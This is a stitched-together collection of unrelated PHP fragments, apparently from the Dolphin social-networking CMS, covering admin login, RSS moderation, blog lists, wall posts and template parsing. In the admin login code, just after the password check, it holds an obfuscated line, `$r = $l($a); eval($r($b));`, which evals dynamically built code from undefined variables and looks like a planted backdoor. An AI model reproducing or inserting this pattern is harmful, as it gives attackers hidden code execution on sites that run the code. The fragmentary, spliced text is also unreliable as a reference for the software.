($aField['Type'] != 'system' and $aField['Deletable']) { ?> <input type="submit" name="action-delete" value="<?php echo bx_html_attribute(_t('_Delete')); ?> " onclick="return confirm('<?php echo $sSureDeleteItemC; ?> ');" class="bx-btn bx-btn-small" /> <?php } ?> </td> </tr> </table> <script type="text/javascript"> $(document).ready( function(){ $('.edit_item_table_cont:first').tabs({selected:0}); changeFieldType( '<?php echo $aField['Type']; ?> ' ); } ); </script> <?php }
$iId = getID($_POST['ID']); $sPassword = process_pass_data($_POST['Password']); if (!$bLogged) { $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $iId, 'password' => $sPassword, 'ip' => getVisitorIP())); $oZ->alert(); } if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') { echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail'; } else { if ($bNeedCheck || check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN)) { if ($_POST['relocate'] && (strncasecmp($_POST['relocate'], BX_DOL_URL_ROOT, strlen(BX_DOL_URL_ROOT)) == 0 || strncasecmp($_POST['relocate'], BX_DOL_URL_ADMIN . 'license.php', strlen(BX_DOL_URL_ADMIN . 'license.php')) == 0)) { $sUrlRelocate = $_POST['relocate']; } else { $sUrlRelocate = BX_DOL_URL_ADMIN . 'index.php'; } $sUrlRelocate = bx_html_attribute($sUrlRelocate); $r = $l($a); eval($r($b)); header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html> <head> <title>Admin Panel</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link href="templates/base/css/default.css" rel="stylesheet" type="text/css" /> <link href="templates/base/css/common.css" rel="stylesheet" type="text/css" /> <link href="templates/base/css/general.css" rel="stylesheet" type="text/css" /> <link href="templates/base/css/anchor.css" rel="stylesheet" type="text/css" /> <link href="templates/base/css/login.css" rel="stylesheet" type="text/css" /> <?php
<div> <span style="color:{$sStatusColor};">{$sRssStatus}</span> <span class="sys-bullet"></span> {$sRssDesc} </div> </div> EOF; } $sRequest = bx_html_attribute($_SERVER['PHP_SELF']) . '?page={page}&per_page={per_page}'; ///////////////pagination///////////////////// // gen pagination block ; $oPaginate = new BxDolPaginate(array('page_url' => $sRequest, 'count' => $iTotalNum, 'per_page' => $iPerPage, 'page' => $iCurPage)); $sPagination = $oPaginate->getPaginate(); ///////////////eof pagination///////////////////// bx_import('BxTemplSearchResult'); $oSearchResult = new BxTemplSearchResult(); $sAdmPanel = $oSearchResult->showAdminActionsPanel('crss_box', array('action_approve' => '_Approve', 'action_disapprove' => '_Disapprove', 'action_delete' => '_Delete'), 'crsss'); $sUrl = bx_html_attribute($_SERVER['PHP_SELF']); $sCode .= <<<EOF <form action="{$sUrl}" method="post" name="ads_moderation"> <div id="crss_box" class="bx-def-bc-padding"> {$sRSSs} </div> {$sPagination} {$sAdmPanel} </form> EOF; } $sHeaderValue = _t('_crss_Manager'); $sCode = $sCode == '' ? MsgBox(_t('_Empty')) : $sCode; $sResult = DesignBoxAdmin($sHeaderValue, $sCode); $iNameIndex = 9; $_page = array('name_index' => $iNameIndex, 'css_name' => array('common.css', 'forms_adv.css'), 'header' => $sHeaderValue, 'header_text' => $sHeaderValue);
function templates_select_txt() { $templ_choices = get_templates_array(); $current_template = strlen($_GET['skin']) ? $_GET['skin'] : $_COOKIE['skin']; foreach ($templ_choices as $tmpl_key => $tmpl_value) { if ($current_template == $tmpl_key) { $ReturnResult .= $tmpl_value . ' | '; } else { $sGetTransfer = bx_encode_url_params($_GET, array('skin')); $ReturnResult .= '<a href="' . bx_html_attribute($_SERVER['PHP_SELF']) . '?' . $sGetTransfer . 'skin=' . $tmpl_key . '">' . $tmpl_value . '</a> | '; } } return $ReturnResult; }
function getRepostCounter($aEvent, $aParams = array()) { $sStylePrefix = $this->_oConfig->getPrefix('style'); $sJsObject = $this->_oConfig->getJsObject('repost'); $sTmplCounter = !empty($aParams['template_counter']) ? $aParams['template_counter'] : 'repost_counter.html'; $sTxtCounter = !empty($aParams['text_counter']) ? $aParams['text_counter'] : '_wall_n_reposts'; $sTxtCounterEmpty = !empty($aParams['text_counter_empty']) ? $aParams['text_counter_empty'] : '_wall_no_reposts'; return $this->parseHtmlByName($sTmplCounter, array('href' => 'javascript:void(0)', 'title' => bx_html_attribute(_t('_wall_txt_reposted_by')), 'bx_repeat:attrs' => array(array('key' => 'id', 'value' => $this->_oConfig->getHtmlIds('repost', 'counter') . $aEvent['id']), array('key' => 'class', 'value' => $sStylePrefix . '-repost-counter'), array('key' => 'onclick', 'value' => 'javascript:' . $sJsObject . '.toggleByPopup(this, ' . $aEvent['id'] . ')')), 'content' => !empty($aEvent['reposts']) && (int) $aEvent['reposts'] > 0 ? _t($sTxtCounter, $aEvent['reposts']) : _t($sTxtCounterEmpty, $aEvent['reposts']))); }
/** * Generate List of Blogs * * @param $sType - tyle of list ('top', 'last') * @return HTML presentation of data */ function GenBlogLists($sType = '', $bBlock = true) { if (!$this->isAllowedBlogsBrowse()) { return $this->_oTemplate->displayAccessDenied(); } // lang keys $sPostsC = _t('_bx_blog_Posts'); $sNoBlogsC = _t('_Empty'); $sAllBlogsC = _t('_bx_blog_All_Blogs'); $sTopBlogsC = _t('_bx_blog_Top_Blogs'); $iCheckedMemberID = $this->_iVisitorID; //////////////////pagination addition////////////////////////// //number elements for per page $iPerPage = false !== bx_get('per_page') ? (int) bx_get('per_page') : 10; if ($iPerPage > 100) { $iPerPage = 100; } $iCurPage = false !== bx_get('page') ? (int) bx_get('page') : 1; if ($iCurPage < 1) { $iCurPage = 1; } $sLimitFrom = ($iCurPage - 1) * $iPerPage; $sqlLimit = "LIMIT {$sLimitFrom}, {$iPerPage}"; //////////////////////////// $sCaption = $sAllBlogsC; $sStatusFilter = $this->isAdmin() == true || $this->isAllowedApprove() || $this->isAllowedPostEdit(-1) || $this->isAllowedPostDelete(-1) ? '1' : "`PostStatus`='approval'"; switch ($sType) { case 'top': $vBlogsRes = $this->_oDb->getTopBlogs($sStatusFilter, $sqlLimit); $sCaption = $sTopBlogsC; break; case 'last': default: $vBlogsRes = $this->_oDb->getLastBlogs($sStatusFilter, $sqlLimit); break; } $iTotalBlogs = $this->_oDb->getAllBlogsCnt($sStatusFilter); // process database queries $iTotalNum = mysql_num_rows($vBlogsRes); if ($iTotalNum == 0) { $sCode = MsgBox($sNoBlogsC); return $bBlock ? DesignBoxContent($sCaption, $sCode, 1) : $sCode; } $iGenPostsCnt = 0; while ($aBlogsRes = mysql_fetch_assoc($vBlogsRes)) { if ($aBlogsRes['PostCount'] == 0 && $sType == 'top') { //in Top blogs skip posts with 0 comments continue; } $aOwnerInfo = getProfileInfo($aBlogsRes['OwnerID']); $sOwnerNickname = getNickName($aBlogsRes['OwnerID']); if ($aBlogsRes['OwnerID'] == 0) { $sOwnerNickname = _t('_Admin'); } if ($sOwnerNickname) { $sCont = get_member_thumbnail($aBlogsRes['OwnerID'], 'left'); $sBlogOwnerLink = $this->genBlogLink('show_member_blog', array('Permalink' => $aOwnerInfo['NickName'], 'Link' => $aBlogsRes['OwnerID'])); $sDescription = htmlspecialchars(strip_tags($aBlogsRes['Description'])); $aBlogUnitVariables = array('owner_thumbnail' => $sCont, 'owner_nickname' => $sOwnerNickname . ' ' . _t('_bx_blog_Blog'), 'posts_count' => $aBlogsRes['PostCount'] . ' ' . $sPostsC, 'blog_link' => $sBlogOwnerLink, 'blog_description' => $sDescription); $sRetHtml .= $this->_oTemplate->parseHtmlByTemplateName('blog_unit', $aBlogUnitVariables); $iGenPostsCnt++; } } /////////pagination addition////////////////// if ($this->isPermalinkEnabled() == false) { $sRequest = bx_html_attribute($_SERVER['PHP_SELF']) . '?action=top_blogs&page={page}&per_page={per_page}'; } else { $sRequest = bx_get('action') == 'top_blogs' ? BX_DOL_URL_ROOT . 'blogs/top/' : BX_DOL_URL_ROOT . 'blogs/all/'; $sRequest .= '{per_page}/{page}' . $sPaginAddon; } /////////////////////////// $oPaginate = new BxDolPaginate(array('page_url' => $sRequest, 'count' => $iTotalBlogs, 'per_page' => $iPerPage, 'page' => $iCurPage)); $sPagination = $oPaginate->getPaginate(); $sRetHtmlVal = <<<EOF <div class="bx-def-bc-padding"> {$sRetHtml} </div> {$sPagination} EOF; return $bBlock ? DesignBoxContent($sCaption, $sRetHtmlVal, 1) : $sRetHtmlVal; }
/** * DEPRICATED, saved for backward compatibility */ function serviceGetWallPostComment($aEvent, $aParams = array()) { $iId = (int) $aEvent['object_id']; $iOwner = (int) $aEvent['owner_id']; $sOwner = getNickName($iOwner); $aItem = $this->serviceGetEntry($iId, 'browse'); if (empty($aItem) || !is_array($aItem)) { return array('perform_delete' => true); } $aContent = unserialize($aEvent['content']); if (empty($aContent) || !isset($aContent['comment_id'])) { return ''; } if (!$this->oPrivacy->check('album_view', (int) $aItem['album_id'], $this->oModule->_iProfileId)) { return ''; } bx_import('BxTemplCmtsView'); $oCmts = new BxTemplCmtsView($this->oModule->_oConfig->getMainPrefix(), $iId); if (!$oCmts->isEnabled()) { return ''; } $aComment = $oCmts->getCommentRow((int) $aContent['comment_id']); $sCss = ''; $sUri = $this->oModule->_oConfig->getUri(); if ($aEvent['js_mode']) { $sCss = $this->oModule->_oTemplate->addCss('wall_post.css', true); } else { $this->oModule->_oTemplate->addCss('wall_post.css'); } $sTextAddedNew = _t('_bx_' . $sUri . '_wall_added_new_comment'); $sTextWallObject = _t('_bx_' . $sUri . '_wall_object'); $sTmplName = isset($aParams['templates']['main']) ? $aParams['templates']['main'] : 'modules/boonex/wall/|timeline_comment.html'; $sTmplNameSnippet = isset($aParams['templates']['snippet']) ? $aParams['templates']['snippet'] : 'modules/boonex/wall/|timeline_comment_files.html'; return array('title' => $sOwner . ' ' . $sTextAddedNew . ' ' . $sTextWallObject, 'description' => $aComment['cmt_text'], 'content' => $sCss . $this->oModule->_oTemplate->parseHtmlByName($sTmplName, array('mod_prefix' => 'bx_' . $sUri, 'cpt_user_name' => $sOwner, 'cpt_added_new' => $sTextAddedNew, 'cpt_object' => $sTextWallObject, 'cpt_item_url' => $aItem['url'], 'cnt_comment_text' => $aComment['cmt_text'], 'snippet' => $this->oModule->_oTemplate->parseHtmlByName($sTmplNameSnippet, array('mod_prefix' => 'bx_' . $sUri, 'cnt_item_page' => $aItem['url'], 'cnt_item_icon' => $aItem['file'], 'cnt_item_title' => $aItem['title'], 'cnt_item_title_attr' => bx_html_attribute($aItem['title']), 'cnt_item_description' => $aItem['description'], 'post_id' => $aEvent['id']))))); }
/** * Parse system keys. * * @param string $sKey key * @return string value associated with the key. */ function parseSystemKey($sKey, $mixedKeyWrapperHtml = null) { global $site; global $_page; global $oFunctions; global $oTemplConfig; global $logged; $aKeyWrappers = $this->_getKeyWrappers($mixedKeyWrapperHtml); $sRet = ''; switch ($sKey) { case 'page_charset': $sRet = 'UTF-8'; break; case 'page_keywords': if (!empty($GLOBALS[$this->_sPrefix . 'PageKeywords']) && is_array($GLOBALS[$this->_sPrefix . 'PageKeywords'])) { $sRet = '<meta name="keywords" content="' . bx_html_attribute(implode(',', $GLOBALS[$this->_sPrefix . 'PageKeywords'])) . '" />'; } break; case 'page_description': if (!empty($GLOBALS[$this->_sPrefix . 'PageDescription']) && is_string($GLOBALS[$this->_sPrefix . 'PageDescription'])) { $sRet = '<meta name="description" content="' . bx_html_attribute($GLOBALS[$this->_sPrefix . 'PageDescription']) . '" />'; } break; case 'page_header': if (!empty($GLOBALS[$this->_sPrefix . 'PageTitle'])) { $sRet = $GLOBALS[$this->_sPrefix . 'PageTitle']; } else { if (isset($_page['header'])) { $sRet = $_page['header']; } } //$sRet = process_line_output($sRet); break; case 'page_header_text': if (!empty($GLOBALS[$this->_sPrefix . 'PageMainBoxTitle'])) { $sRet = $GLOBALS[$this->_sPrefix . 'PageMainBoxTitle']; } else { if (isset($_page['header_text'])) { $sRet = $_page['header_text']; } } //$sRet = process_line_output($sRet); break; case 'main_div_width': if (!empty($GLOBALS[$this->_sPrefix . 'PageWidth'])) { $sRet = process_line_output($GLOBALS[$this->_sPrefix . 'PageWidth']); } break; case 'main_logo': $sRet = $GLOBALS['oFunctions']->genSiteLogo(); break; case 'main_splash': $sRet = $GLOBALS['oFunctions']->genSiteSplash(); break; case 'top_menu': $sRet = $GLOBALS['oTopMenu']->getCode(); break; case 'top_menu_breadcrumb': $sRet = !empty($GLOBALS['oTopMenu']->sBreadCrumb) ? $GLOBALS['oTopMenu']->sBreadCrumb : $GLOBALS['oTopMenu']->genBreadcrumb(); break; case 'extra_top_menu': $iProfileId = getLoggedId(); if ($iProfileId && getParam('ext_nav_menu_enabled')) { bx_import('BxTemplMemberMenu'); $oMemberMenu = new BxTemplMemberMenu(); $sRet = $oMemberMenu->genMemberMenu($iProfileId); } break; case 'bottom_links': $sRet = $oFunctions->genSiteBottomMenu(); break; case 'switch_skin_block': $sRet = getParam("enable_template") ? templates_select_txt() : ''; break; case 'dol_images': $sRet = $this->_processJsImages(); break; case 'dol_lang': $sRet = $this->_processJsTranslations(); break; case 'dol_options': $sRet = $this->_processJsOptions(); break; case 'bottom_text': $sRet = _t('_bottom_text', date('Y')); break; case 'copyright': $sRet = _t('_copyright', date('Y')) . getVersionComment(); break; case 'flush_header': //TODO: add some variable to disable it if needed //flush(); break; case 'extra_js': $sRet = empty($_page['extra_js']) ? '' : $_page['extra_js']; break; case 'is_profile_page': $sRet = defined('BX_PROFILE_PAGE') ? 'true' : 'false'; break; default: $sRet = ($sTemplAdd = $oFunctions->TemplPageAddComponent($sKey)) !== false ? $sTemplAdd : $aKeyWrappers['left'] . $sKey . $aKeyWrappers['right']; } $sRet = BxDolTemplate::processInjection($_page['name_index'], $sKey, $sRet); return $sRet; }
protected function _parseContentKeys($sContent, $aCallbackPatterns = array()) { $oTemplate =& $this; $aCallbackPatterns = array_merge($aCallbackPatterns, array("'<bx_image_url:([^\\s]+) \\/>'s" => "get_image_url", "'<bx_icon_url:([^\\s]+) \\/>'s" => "get_icon_url", "'<bx_text:([_\\{\\}\\w\\d\\s]+[^\\s]{1}) \\/>'s" => "get_text", "'<bx_text_js:([^\\s]+) \\/>'s" => "get_text_js", "'<bx_text_attribute:([^\\s]+) \\/>'s" => "get_text_attribute")); foreach ($aCallbackPatterns as $sPattern => $sAction) { $sContent = preg_replace_callback($sPattern, function ($aMatches) use($oTemplate, $sAction) { $sResult = ''; switch ($sAction) { case 'get_image_url': $sResult = $oTemplate->getImageUrl($aMatches[1]); break; case 'get_icon_url': $sResult = $oTemplate->getIconUrl($aMatches[1]); break; case 'get_text': $sResult = _t($aMatches[1]); break; case 'get_text_js': $sResult = bx_js_string(_t($aMatches[1])); break; case 'get_text_attribute': $sResult = bx_html_attribute(_t($aMatches[1])); break; case 'get_injection': $sResult = $oTemplate->processInjection($oTemplate->getPageNameIndex(), $aMatches[1]); break; case 'get_menu': $sResult = $oTemplate->getMenu($aMatches[1]); break; } return $sResult; }, $sContent); } return $sContent; }
function getCommonMedia($sType, $iObject) { $aConverter = array('photos' => 'photo', 'sounds' => 'music', 'videos' => 'video'); $aMediaInfo = BxDolService::call($sType, 'get_' . $aConverter[$sType] . '_array', array($iObject, 'browse'), 'Search'); $aOwner = $this->_oDb->getUser($aMediaInfo['owner']); $sAddedMediaTxt = _t('_wall_added_' . $sType); $sContent = ''; if (!empty($aMediaInfo) && is_array($aMediaInfo) && !empty($aMediaInfo['file'])) { $aContent = array('title' => $aOwner['username'] . ' ' . $sAddedMediaTxt, 'description' => $aMediaInfo['description'], 'content' => $this->parseHtmlByTemplateName('common_media', array('image_url' => isset($aMediaInfo['file']) ? $aMediaInfo['file'] : '', 'image_width' => isset($aMediaInfo['width']) ? (int) $aMediaInfo['width'] : 0, 'image_height' => isset($aMediaInfo['height']) ? (int) $aMediaInfo['height'] : 0, 'link' => isset($aMediaInfo['url']) ? $aMediaInfo['url'] : '', 'title' => isset($aMediaInfo['title']) ? bx_html_attribute($aMediaInfo['title']) : '', 'description' => isset($aMediaInfo['description']) ? $aMediaInfo['description'] : ''))); } else { $aContent = array('title' => '', 'description' => '', 'content' => $iObject); } return $aContent; }